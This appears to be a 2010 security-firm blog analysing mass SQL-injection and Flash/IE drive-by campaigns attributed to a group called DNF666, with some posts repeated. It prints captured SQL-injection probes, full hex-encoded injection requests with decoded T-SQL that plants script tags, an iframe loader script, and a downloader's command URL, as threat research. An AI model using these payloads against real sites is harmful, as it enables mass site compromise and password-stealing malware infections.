We'll be giving a talk on drivesploit today at black hat 2010, and subsequently the same talk, and two other talks, at defcon. Please visit the drivesploit website http://www.drivesploit.org for details, or get the source code here: http://github.com/waynearmorize/drivesploit
Read more (rest of article)...
Interview with Hacker | Halted - Web Appstinence?
We will be presenting our talk at Hacker Halted 2010. Recently, we have been officially interviewed by the Hacker Halted crew about the nostalgia and reality of web application security game. The prime aim is to discuss the artifacts of ongoing realm of security in web application and browsers exploitation.
"Attackers are not exploiting the apps' vulnerabilities. They are exploiting our human vulnerability in allowing our apps to run our lives. Platform of choice? Our browsers. According to a poll by Harris Interactive, we, the adult internet users, spend an average of 13 hours online each week. This writer is online at minimum 16 hours a day. The internet is never more than a meter away from the writer at any time of the day or any place in the world (that has a connection!). Making him very vulnerable."
Read full interview : HERE | Hacker Halted
Read more (rest of article)...
"Attackers are not exploiting the apps' vulnerabilities. They are exploiting our human vulnerability in allowing our apps to run our lives. Platform of choice? Our browsers. According to a poll by Harris Interactive, we, the adult internet users, spend an average of 13 hours online each week. This writer is online at minimum 16 hours a day. The internet is never more than a meter away from the writer at any time of the day or any place in the world (that has a connection!). Making him very vulnerable."
Read full interview : HERE | Hacker Halted
Read more (rest of article)...
HITB/AMS report
Heya!
We went to Hack In the Box/Amsterdam this year. First european HITB con in fact. The event was organized nicely. Gathered around 250 people, Quite a few hackerspaces ran their tables. "Original" lockpicking guys from toool.nl held a workshop which had quite a few impressive snippets.
Anyway, from our side we had two releases: From Russia with Love pt 2: an overview of underground whakin' activies of eastern blocks. Securitybananas summarized the content pretty well.
Another thing is that we're planning to publish a fresh version of xprobe tool. Upcoming features are reviewed in this presentation .
Read more (rest of article)...
We went to Hack In the Box/Amsterdam this year. First european HITB con in fact. The event was organized nicely. Gathered around 250 people, Quite a few hackerspaces ran their tables. "Original" lockpicking guys from toool.nl held a workshop which had quite a few impressive snippets.
Anyway, from our side we had two releases: From Russia with Love pt 2: an overview of underground whakin' activies of eastern blocks. Securitybananas summarized the content pretty well.
Another thing is that we're planning to publish a fresh version of xprobe tool. Upcoming features are reviewed in this presentation .
Read more (rest of article)...
HackInTheBox Paper - Paradox of MS Office based Malware
The HackInTheBox(HITB) has published our new paper on MS Office based Malware. The paper discusses about infection patterns and analytical approaches of malware infected Ms Office files.
An excerpt from the paper:
"With the advent of new technologies, new protection parameters are evolving. Are technologies good enough to combat the diversified nature of malware? Well, may or may not be. The world has been noticing a new trend of malware which uses office files to corrupt the system, thereby resulting in complete take over of the victim machine. The most versatile nature of office infection comes from the Chinese malware"
Fetch the magazine here: DOWNLOAD
Explore the previous versions here: Previous Issues
Read more (rest of article)...
An excerpt from the paper:
"With the advent of new technologies, new protection parameters are evolving. Are technologies good enough to combat the diversified nature of malware? Well, may or may not be. The world has been noticing a new trend of malware which uses office files to corrupt the system, thereby resulting in complete take over of the victim machine. The most versatile nature of office infection comes from the Chinese malware"
Fetch the magazine here: DOWNLOAD
Explore the previous versions here: Previous Issues
Read more (rest of article)...
The DNF group is back--Mass SQL injections 4589.in and 22dnf.com
(Credits: Wayne Huang, Chris Hsiao, Crane Ku, and other members of Armorize)
On June 13th, we blogged about on-going mass SQL injections attempts spreading drive-by downloads based on CVE-2010-1297. Based on our analysis, we concluded that these recent waves were by the same "DNF666" group. Well, just a day after we blogged, they launched it again, and yesterday, again. So here's our analysis.
Previously (see previous blog post):
Mar 7th: dnf666.net Mass SQL attack
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
We've labeled this attacker group "DNF666." Yes, Wall Street Journal was hit by robint.us and yes, so was Jerusalem Post. And yes, more than 114,000 pages were infected, and yes, all of this was just to spread malware that steal passwords to Asian online games.
Well, then they should have just targeted websites in China and Taiwan.
That's what they did recently:
Time is Taipei time (GMT+8)
Jun 14th: 4589.in mass SQL injection
Jun 30th: 22dnf.com mass SQL injection
A quick summary:
Similarities:
1. Same group DNF666
2. Same drive-by kit used--CuteQQ / Anhey
3. Same objective--steal passwords to Asian online games
Differences:
1. New probing scripts before SQL injection
2. Server-side attack targets both ASP and ASP.NET websites
3. Client-side attack targets different vulnerabilities (CVE-2010-0806 and CVE-2010-0249).
4. Targets only Asian websites
[1. Server-side]
In both attempts, we saw new probing requests (thanks to SmartWAF team Wisely and Crane):
The SQL injection strings themselves are as usual:
4589.in sample:
22dnf.com:
Decoded, 4589.in:
22dnf:
Nothing new in the SQL injection strings, but this time, the group has:
A. Implemented new probing requests
B. Targeted vulnerable IIS+ASP and IIS+ASP.NET websites.
C. Targeted only Asian websites.
4859.in SQL injections came from IP: 95.211.130.71, which reverses to two domains: 4859.in, and iamcome.in. iamcome.in was used in the previous attempt by this group (DNF666). This is the first indication that these two attempts are associated with DNF666.
22dnf.com SQL injections came from 204.74.216.42, which is owned by rashost.com (DNS: 204-74-216-42.vps.rashost.com) based in Beijing. The name "22dnf" (has "dnf") and the hosting, are the second indication that these attempts are associated with DNF666.
Here are screenshots of infections
4589.in:
22dnf.in:
The injected snippets:
4589.in (note in the previous 2677.in effort that took place on Jun 11th, the js filename was also "yahoo.js"):
And for yesterday's 22dnf.in:
Actually, because the attack methods were exactly the same, many sites were infected twice:
[2. Client-side]
Let's focus on yesterday's mass SQL injection--22dnf.com. Below is y.js:
So y.js loads three htmls--cc.html, ie.html, and ad.html. cc.html loads cnzz.com as a visitor counter service, ie.html is exploit for CVE-2010-0806, and ad.html is exploit for CVE-2010-0249.
ie.html incorporates a DOM-based trick in order to circumvent automated Web malware (drive-by download) detection techniques such as our HackAlert. Exploitation is triggered based on a DOM object:
cc.html incorporates a similar DOM-based trick--the exploitation procedure evl() is triggered based on an onload event of an img object:
Both tricks can effectively defeat automated "behavior-based" scanners that implements only the javascript engine but not the DOM--for example, implementations based purely on SpiderMonkey or Rhino.
The actual shellcode is stored and loaded from ff/a.gif--a common technique to introduce flexibility and also to circumvent detection. This drive-by download was obviously also created by the CuteQQ / Anhey drive-by kit, which marks the third indication that this attempt is by DNF666.
After successful exploitation, the shellcode drops s.exe, which loads commands from 202.109.143.79:81/s.txt. s.txt has the following content:
s.exe therefore downloads ma.exe.
[3. Actual malware]
Our analysis concludes that ma.exe is almost the exact same password stealer as all previous attempts, and steals passwords to the following online games:
aion.plaync.co.kr
aion.plaync.jp
df.nexon.com
maplestory.nexon.com
[4. Conclusion]
We thus conclude that these two attempts were made by the same group DNF666, who was responsible for at least three previous mass SQL injection attacks. Summary of this wave:
Similarities:
1. Same group DNF666
2. Same drive-by kit used--CuteQQ / Anhey
3. Same objective--steal passwords to Asian online games
Differences:
1. New probing scripts before SQL injection
2. Server-side attack targets both ASP and ASP.NET websites
3. Client-side attack targets different vulnerabilities (CVE-2010-0806 and CVE-2010-0249).
Timeline:
Mar 7th: dnf666.net Mass SQL attack
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
Jun 14th: 4589.in mass SQL injection
Jun 30th: 22dnf.com mass SQL injection
Read more (rest of article)...
On June 13th, we blogged about on-going mass SQL injections attempts spreading drive-by downloads based on CVE-2010-1297. Based on our analysis, we concluded that these recent waves were by the same "DNF666" group. Well, just a day after we blogged, they launched it again, and yesterday, again. So here's our analysis.
Previously (see previous blog post):
Mar 7th: dnf666.net Mass SQL attack
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
We've labeled this attacker group "DNF666." Yes, Wall Street Journal was hit by robint.us and yes, so was Jerusalem Post. And yes, more than 114,000 pages were infected, and yes, all of this was just to spread malware that steal passwords to Asian online games.
Well, then they should have just targeted websites in China and Taiwan.
That's what they did recently:
Time is Taipei time (GMT+8)
Jun 14th: 4589.in mass SQL injection
Jun 30th: 22dnf.com mass SQL injection
A quick summary:
Similarities:
1. Same group DNF666
2. Same drive-by kit used--CuteQQ / Anhey
3. Same objective--steal passwords to Asian online games
Differences:
1. New probing scripts before SQL injection
2. Server-side attack targets both ASP and ASP.NET websites
3. Client-side attack targets different vulnerabilities (CVE-2010-0806 and CVE-2010-0249).
4. Targets only Asian websites
[1. Server-side]
In both attempts, we saw new probing requests (thanks to SmartWAF team Wisely and Crane):
' aND '8'='8
' aND '8'='3
'/**/aND/**/'8'='8
'/**/aND/**/'8'='3
%' aND '8%'='8
%' aND '8%'='3
%' aND '8'='8
%' aND '8%'='3
%'/**/aND/**/'8'='8
%'/**/aND/**/'8%'='3
' XoR '8'='3
' XoR '8'='8
' XoR '8'='3
' XoR '8'='8
'/**/XoR/**/'8'='3
'/**/XoR/**/'8'='8
The SQL injection strings themselves are as usual:
4589.in sample:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463334333533383339324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B6520272725343538392E696E2527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
22dnf.com:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
Decoded, 4589.in:
get /default.aspx?imgbtnlogin=1;declare @s varchar(8000) set @sdeclare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f343538392e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%4589.in%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;-- exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
22dnf:
get /default.aspx?imgbtnlogin=1;declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f3232646e662e63 6f6d2f66662f792e6a733e3c2f7363726970743e as varchar(51)) where ['+@c+'] not like ''%22dnf%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
Nothing new in the SQL injection strings, but this time, the group has:
A. Implemented new probing requests
B. Targeted vulnerable IIS+ASP and IIS+ASP.NET websites.
C. Targeted only Asian websites.
4859.in SQL injections came from IP: 95.211.130.71, which reverses to two domains: 4859.in, and iamcome.in. iamcome.in was used in the previous attempt by this group (DNF666). This is the first indication that these two attempts are associated with DNF666.
22dnf.com SQL injections came from 204.74.216.42, which is owned by rashost.com (DNS: 204-74-216-42.vps.rashost.com) based in Beijing. The name "22dnf" (has "dnf") and the hosting, are the second indication that these attempts are associated with DNF666.
Here are screenshots of infections
4589.in:
22dnf.in:
The injected snippets:
4589.in (note in the previous 2677.in effort that took place on Jun 11th, the js filename was also "yahoo.js"):
<script src=http://4589.in/yahoo.js></script>
And for yesterday's 22dnf.in:
<script src=http://22dnf.com/ff/y.js></script>
Actually, because the attack methods were exactly the same, many sites were infected twice:
[2. Client-side]
Let's focus on yesterday's mass SQL injection--22dnf.com. Below is y.js:
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://22dnf.com/ff/cc.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ie.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ad.html width=0 height=0></iframe>");}
So y.js loads three htmls--cc.html, ie.html, and ad.html. cc.html loads cnzz.com as a visitor counter service, ie.html is exploit for CVE-2010-0806, and ad.html is exploit for CVE-2010-0249.
ie.html incorporates a DOM-based trick in order to circumvent automated Web malware (drive-by download) detection techniques such as our HackAlert. Exploitation is triggered based on a DOM object:
<button id="bo" onclick="payload();" STYLE="DISPLAY:NONE"></button>
...
document.getElementById("bo").onclick();
cc.html incorporates a similar DOM-based trick--the exploitation procedure evl() is triggered based on an onload event of an img object:
<img src="XIGUA.GIF" onload="ev1(event)">
Both tricks can effectively defeat automated "behavior-based" scanners that implements only the javascript engine but not the DOM--for example, implementations based purely on SpiderMonkey or Rhino.
The actual shellcode is stored and loaded from ff/a.gif--a common technique to introduce flexibility and also to circumvent detection. This drive-by download was obviously also created by the CuteQQ / Anhey drive-by kit, which marks the third indication that this attempt is by DNF666.
After successful exploitation, the shellcode drops s.exe, which loads commands from 202.109.143.79:81/s.txt. s.txt has the following content:
123
http://202.109.143.79:81/ma.exe
s.exe therefore downloads ma.exe.
[3. Actual malware]
Our analysis concludes that ma.exe is almost the exact same password stealer as all previous attempts, and steals passwords to the following online games:
aion.plaync.co.kr
aion.plaync.jp
df.nexon.com
maplestory.nexon.com
[4. Conclusion]
We thus conclude that these two attempts were made by the same group DNF666, who was responsible for at least three previous mass SQL injection attacks. Summary of this wave:
Similarities:
1. Same group DNF666
2. Same drive-by kit used--CuteQQ / Anhey
3. Same objective--steal passwords to Asian online games
Differences:
1. New probing scripts before SQL injection
2. Server-side attack targets both ASP and ASP.NET websites
3. Client-side attack targets different vulnerabilities (CVE-2010-0806 and CVE-2010-0249).
Timeline:
Mar 7th: dnf666.net Mass SQL attack
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
Jun 14th: 4589.in mass SQL injection
Jun 30th: 22dnf.com mass SQL injection
Read more (rest of article)...
Solving the puzzle: mass SQL injection+0day flash drive-by download attacks robint.us and 2677.in
(Credits: Wayne Huang, Crane Ku, Sun Huang, and other members of Armorize)
After reading some coverages regarding the recent Adobe Flash 0day (actually not any more, patch is released), CVE-2010-1297, we couldn't help but notice that not many analysis were able to "hit the point" on this wave of robint.us and 2677.in attacks. So we've decided to provide our perspective. Summary first:
Server-side:
1. Attack vectors used in mass SQL injections were targeted and specific--pre-scanning took place beforehand, vectors waiting to be used upon availability of 0day.
2. Attacks targeted ASP.NET Web applications vulnerable to SQL injection and using SQL server as database. We note most of the fault is attributed to the vulnerable Web application itself, not IIS or ASP.NET or SQL server.
Client-side:
1. 0day discovered in Asia, by known group, possibly via fuzzing.
2. 0day initially used (and captured) in emails as part of targeted attacks, often against Asian personnels.
3. 0day leveraged in mass SQL injection attempts shortly after POC discovered in the wild.
4. Exploit code involves mechanisms to defeat behavior-based analysis.
5. Exploit generated by CuteQQ / Anhey.
As a whole:
1. Attacker group is dnf666. Same group responsible for the dnf666.net attack back in March.
2. Attacker group runs businesses selling (illegal) plugins for online games.
3. Ultimate goal of these two Mass SQL attacks (robint.us and 2677.in): steal passwords to online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
4. Free Asian visitor analytics accounts used to monitor infection rate, region, number, etc.
And here is the full analysis report.
[0. Background]
Quite a few commercial- and government-sponsored threat research organizations have collected samples of this particular exploit since as early as a year ago; Websense is one that publicly stated the fact. Recently:
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
[1. Server-side]
First the probes before the attack (thanks to Wisely and the SmartWAF team):
Nothing special here. Now let's have a look at some the actual injection (http) requests:
Sample 1:
Sample 2:
Since the attack targets ASP.NET applications, note the _viewstate=ddwxmzk4nt provided in the request. This is to bypass some Web application firewalls.
The above code decodes to:
All in lowercase is easier to read:
Nothing really new here, same as the earliest mass SQL injections that took place in early 2008.
We sampled thirty infected Websites; as expected, infections are detected in SQL-injection-vulnerable ASP.NET websites.
[2. Client-side]
Below are two typical samples of this injection wave:
yahoo.js serves as the entry snippet. From there the exploitation flow is illustrated as follows:
We'll describe the exploitation process below.
1. http://2677.in/yahoo.js dynamically creates two iframes pointing to http://2677.in/cnzz.html (visitor counter service) and http://2677.in/ie.htm (flash exploit)
2. http://2677.in/cnzz.html uses a free visitor counter serivce cnzz.com in order to track infections and hit count
Now if we link to the counter page, we'll notice that the attacker's handle is "dnf666." Sounds familiar, right?
Yes, that's right, rings a bell--the "dnf666.net" mass sql injection incident that happened back in March. The handle is the same--dnf666.net, the sql injection strings are extremely identical, and both used cnzz as counter service.
Oh, and actually, robint.us used cnzz, too: http://s11.cnzz.com/stat.php?id=2095356&web_id=2095356
And furthermore, the dnf666.net attack involved "robints.us," yes, with an additional "s":
Also see here for additional evidences.
So, in March, dnf666 launched a similar attack, involving robint"s".us. Recently, they launched two more based on the Adobe Flash 0day (VE-2010-1297)--robint.us and 2677.in.
"6" in Mandarin is phonetically identical to the word "smooth" or "well," and so 666 is a lucky number in Chinese culture. What is DNF?
DNF stands for "Dungeon Fighter," a popular online game in the Chinese community. It's offered in Taiwan here and in China on top of the QQ platform here. dnf666.net was a platform selling (illegal) plugins to these online games. Adding these together, it's no surprise that at the end of this article, our conclusion is the purpose of both robint.us and 2677.in attacks were aimed at stealing passwords to online games.
Moving on.
3. http://2677.in/ie.html stores its heap spray code inside a DOM object
Escaped version is easier to read:
In our flow diagram, we labeled this "trick 1." The trick defeats automated "behavior-based" scanners that implements only the javascript engine but not the DOM--for example, implementations based purely on SpiderMonkey or Rhino.
4. This <div id=sun> object is eval'ed by javascript inside ie.html
We labeled this "trick 2" in our diagram, because it again, defeats (both the static analysis and behavior analysis modules of) scanners that do not implement the full browser and therefore do not actually have the ability to make network connections, send http request and retrieve the shellcode.
5. http://2677.in/ie.html embeds swf exploit anhey.swf for CVE-2010-1297
And that'll do it. Javascripts inside ie.html does the heap spraying and puts the retrieved shellcode (from log.txt) into memory, while anhey.swf triggers the exploit.
We can't help but notice the name of this flash exploit: "anhey.swf"--used both in robint.us and 2677.in.
We also remember this piece of dynamically generated code in robint.us:
Note the variable name--"cuteqq".
Well,CuteQQ and Anhey are the same Chinese company, and both domains map to the same server. The company sells drive-by download exploit kits:
And if we look at the tool's screenshot, we can see that it specifically provides a textbox for the attacker to enter the URL to his counter service (in this case, cnzz.com). It obviously supports "flash 10 0day." The middle section allows the attacker to enable various anti-detection techniques, which results in the tricks 1 and 2 we described.
Alright, moving on.
6. http://2677.in/anhey.swf exploits CVE-2010-1297 and drops downloader: http://2677.in/log.exe
7. http://2677.in/log.exe has the following behavior:
Behavior: DLL-Injection (Target: rundll32.exe) functions.
Modules
Base=10000000 Size=00003000 rundll32.exe
Files
[DLL] %UserProfile%\Microsoft\smx4pnp.dll F7E3595E910B767F64974B084B9B3D2A
%UserProfile%\Microsoft\smx4pnp.log
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\smx4pnp
Retrieves: http://d.iamcome.in/u.txt, content:
8. Following the instructions given inside u.txt, log.exe downloads http://d.iamcome.in/ma.exe, which has the following behavior:
Behavior: DLL-Injection (Target: explorer.exe) functions.
Modules
Base=10000000 Size=0001C000 explorer.exe
Base=10000000 Size=0001C000 wscntfy.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=00F80000 Size=00001000 explorer.exe
Files
[DLL] %SystemRoot%\system32\xiaodll0.dll 38D8AC593197CB30C6C69929373459A8
[EXE] %SystemRoot%\system32\xiaosos.exe C55748843D9576B62982646FA3944F21
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\loopsos
Steals accounts:
1. aion.plaync.co.kr
2. aion.plaync.jp
3. df.nexon.com
[3. Conclusion]
Server-side:
1. Attack vectors used in mass SQL injections were targeted and specific--pre-scanning took place beforehand, vectors waiting to be used upon availability of 0day.
2. Attacks targeted ASP.NET Web applications vulnerable to SQL injection and using SQL server as database. We note most of the fault is attributed to the vulnerable Web application itself, not IIS or ASP.NET or SQL server.
Client-side:
1. 0day discovered in Asia, by known group, possibly via fuzzing.
2. 0day initially used (and captured) in emails as part of targeted attacks, often against Asian personnels.
3. 0day leveraged in mass SQL injection attempts shortly after POC discovered in the wild.
4. Exploit code involves mechanisms to defeat behavior-based analysis.
5. Exploit generated by CuteQQ / Anhey.
As a whole:
1. Attacker group is dnf666. Same group responsible for the dnf666.net attack back in March.
2. Attacker group runs businesses selling (illegal) plugins for online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
3. Ultimate goal of these two Mass SQL attacks (robint.us and 2677.in): steal passwords to online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
4. Free Asian visitor analytics accounts used to monitor infection rate, region, number, etc.
[4. Appendix]
1. HackAlert V3 forensics query dump
2. Parts of anhey.swf:
Read more (rest of article)...
After reading some coverages regarding the recent Adobe Flash 0day (actually not any more, patch is released), CVE-2010-1297, we couldn't help but notice that not many analysis were able to "hit the point" on this wave of robint.us and 2677.in attacks. So we've decided to provide our perspective. Summary first:
Server-side:
1. Attack vectors used in mass SQL injections were targeted and specific--pre-scanning took place beforehand, vectors waiting to be used upon availability of 0day.
2. Attacks targeted ASP.NET Web applications vulnerable to SQL injection and using SQL server as database. We note most of the fault is attributed to the vulnerable Web application itself, not IIS or ASP.NET or SQL server.
Client-side:
1. 0day discovered in Asia, by known group, possibly via fuzzing.
2. 0day initially used (and captured) in emails as part of targeted attacks, often against Asian personnels.
3. 0day leveraged in mass SQL injection attempts shortly after POC discovered in the wild.
4. Exploit code involves mechanisms to defeat behavior-based analysis.
5. Exploit generated by CuteQQ / Anhey.
As a whole:
1. Attacker group is dnf666. Same group responsible for the dnf666.net attack back in March.
2. Attacker group runs businesses selling (illegal) plugins for online games.
3. Ultimate goal of these two Mass SQL attacks (robint.us and 2677.in): steal passwords to online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
4. Free Asian visitor analytics accounts used to monitor infection rate, region, number, etc.
And here is the full analysis report.
[0. Background]
Quite a few commercial- and government-sponsored threat research organizations have collected samples of this particular exploit since as early as a year ago; Websense is one that publicly stated the fact. Recently:
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
[1. Server-side]
First the probes before the attack (thanks to Wisely and the SmartWAF team):
' and char(124)+user+char(124)=0 and ''='
' and char(124)+user+char(124)=0 and '%25'='
and char(124)+user+char(124)=0
' and 1=1 and ''='
Nothing special here. Now let's have a look at some the actual injection (http) requests:
Sample 1:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
Sample 2:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
Since the attack targets ASP.NET applications, note the _viewstate=ddwxmzk4nt provided in the request. This is to bypass some Web application firewalls.
The above code decodes to:
dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F323637372E696E2F7961686F6F2E6A733E3C2F7363726970743E aS vArChAr(50)) where ['+@c+'] not like ''%yahoo.js%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--
All in lowercase is easier to read:
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f323637372e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%yahoo.js%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--
Nothing really new here, same as the earliest mass SQL injections that took place in early 2008.
We sampled thirty infected Websites; as expected, infections are detected in SQL-injection-vulnerable ASP.NET websites.
[2. Client-side]
Below are two typical samples of this injection wave:
